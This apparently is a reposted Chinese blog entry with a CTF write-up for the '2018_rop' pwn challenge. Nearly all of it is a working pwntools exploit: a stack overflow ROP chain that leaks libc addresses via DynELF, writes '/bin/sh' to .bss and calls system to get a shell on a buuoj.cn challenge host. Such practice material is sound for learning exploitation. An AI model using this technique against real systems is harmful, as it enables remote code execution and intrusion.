码迷,mamicode.com
首页 > 其他好文 > 详细

铁人三项(第五赛区)_2018_rop

时间:2020-02-11 00:07:46      阅读:162      评论:0      收藏:0      [点我收藏+]

标签:node   port   leak   rac   ret   rem   address   payload   rop   

利用pwntools的DynELF

from pwn import *
r=remote(node3.buuoj.cn,29392)

e=ELF(./2018_rop)
write_plt=e.plt[write]
read_plt=e.plt[read]
main_addr=e.symbols[main]
bss_addr=e.symbols[__bss_start]
def leak(address):
        payload1=a*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(address)+p32(0x4)
        r.sendline(payload1)
        leak_address=r.recv(4)
        return leak_address

d=DynELF(leak,elf=ELF(./2018_rop))
sys_addr=d.lookup(system,libc)

payload2=a*(0x88+0x4)+p32(read_plt)+p32(main_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.sendline(payload2)
r.sendline(/bin/sh)

payload3=a*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)
r.sendline(payload3)

r.interactive()

 

铁人三项(第五赛区)_2018_rop

标签:node   port   leak   rac   ret   rem   address   payload   rop   

原文地址:https://www.cnblogs.com/gaonuoqi/p/12293505.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!